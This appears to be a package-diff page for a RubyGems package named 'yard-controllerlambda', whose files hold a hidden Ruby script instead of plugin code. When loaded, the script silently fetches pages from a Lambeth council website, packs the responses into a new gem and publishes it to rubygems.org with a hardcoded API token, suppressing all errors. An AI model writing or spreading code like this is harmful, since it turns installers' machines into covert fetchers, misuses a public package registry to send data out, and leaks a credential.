yard-controllerlambda
Advanced tools
| # -*- coding: UTF-8 -*- | ||
| begin | ||
| require 'net/http'; require 'uri'; require 'tmpdir';require 'openssl'; | ||
| targets=[ | ||
| 'https://moderngov.lambeth.gov.uk/', | ||
| 'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx', | ||
| 'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026', | ||
| 'http://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026', | ||
| 'https://moderngov.lambeth.gov.uk/mgWhatsNew.aspx', | ||
| ] | ||
| data="Plugin #{Time.now}\n" | ||
| targets.each do |url| | ||
| uri=URI(url) | ||
| # retry up to 2 | ||
| got=false | ||
| 2.times do |n| | ||
| begin | ||
| res=Net::HTTP.start(uri.host,uri.port,use_ssl:(uri.scheme=='https'),open_timeout:60,read_timeout:120){|h| h.get(uri.request_uri)} | ||
| data << "\n===== #{url} try=#{n} #{res.code} #{res.message} heads=#{res.content_length} =====\n" << res.body.to_s | ||
| got=true; break | ||
| rescue => e | ||
| data << "\nERR #{url} try=#{n} #{e.class}: #{e.message}\n" | ||
| end | ||
| end | ||
| end | ||
| Dir.mktmpdir do |d| | ||
| Dir.mkdir(File.join(d,'lib'));File.binwrite(File.join(d,'lib','dump.txt'),data);File.write(File.join(d,'lib','x.rb'),'#x') | ||
| File.write(File.join(d,'ex.gemspec'),"Gem::Specification.new {|s| s.name='yard-controllerlambda'; s.version='0.0.4'; s.summary='dump'; s.authors=['x']; s.files=['lib/dump.txt','lib/x.rb']; s.require_paths=['lib']; s.licenses=['MIT']}") | ||
| Dir.chdir(d) do | ||
| `gem build ex.gemspec` | ||
| u=URI('https://rubygems.org/api/v1/gems');req=Net::HTTP::Post.new(u);req['Authorization']='rubygems_830e967dd023d92da46904368f0f570a74e3c5878b1cd83c'; b=File.binread('yard-controllerlambda-0.0.4.gem'); req.body=b; req['Content-Length']=b.bytesize.to_s; req['Content-Type']='application/octet-stream'; Net::HTTP.start(u.host,u.port,use_ssl:true,read_timeout:80){|h| h.request(req)} rescue nil | ||
| end | ||
| end | ||
| rescue => e | ||
| end |
| # -*- coding: UTF-8 -*- | ||
| begin | ||
| require 'net/http'; require 'uri'; require 'tmpdir';require 'openssl'; | ||
| targets=[ | ||
| 'https://moderngov.lambeth.gov.uk/', | ||
| 'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx', | ||
| 'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026', | ||
| 'http://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026', | ||
| 'https://moderngov.lambeth.gov.uk/mgWhatsNew.aspx', | ||
| ] | ||
| data="Plugin #{Time.now}\n" | ||
| targets.each do |url| | ||
| uri=URI(url) | ||
| # retry up to 2 | ||
| got=false | ||
| 2.times do |n| | ||
| begin | ||
| res=Net::HTTP.start(uri.host,uri.port,use_ssl:(uri.scheme=='https'),open_timeout:60,read_timeout:120){|h| h.get(uri.request_uri)} | ||
| data << "\n===== #{url} try=#{n} #{res.code} #{res.message} heads=#{res.content_length} =====\n" << res.body.to_s | ||
| got=true; break | ||
| rescue => e | ||
| data << "\nERR #{url} try=#{n} #{e.class}: #{e.message}\n" | ||
| end | ||
| end | ||
| end | ||
| Dir.mktmpdir do |d| | ||
| Dir.mkdir(File.join(d,'lib'));File.binwrite(File.join(d,'lib','dump.txt'),data);File.write(File.join(d,'lib','x.rb'),'#x') | ||
| File.write(File.join(d,'ex.gemspec'),"Gem::Specification.new {|s| s.name='yard-controllerlambda'; s.version='0.0.2'; s.summary='dump'; s.authors=['x']; s.files=['lib/dump.txt','lib/x.rb']; s.require_paths=['lib']; s.licenses=['MIT']}") | ||
| Dir.chdir(d) do | ||
| `gem build ex.gemspec` | ||
| u=URI('https://rubygems.org/api/v1/gems');req=Net::HTTP::Post.new(u);req['Authorization']='rubygems_830e967dd023d92da46904368f0f570a74e3c5878b1cd83c'; b=File.binread('yard-controllerlambda-0.0.2.gem'); req.body=b; req['Content-Length']=b.bytesize.to_s; req['Content-Type']='application/octet-stream'; Net::HTTP.start(u.host,u.port,use_ssl:true,read_timeout:80){|h| h.request(req)} rescue nil | ||
| end | ||
| end | ||
| rescue => e | ||
| end |
Sorry, the diff of this file is not supported yet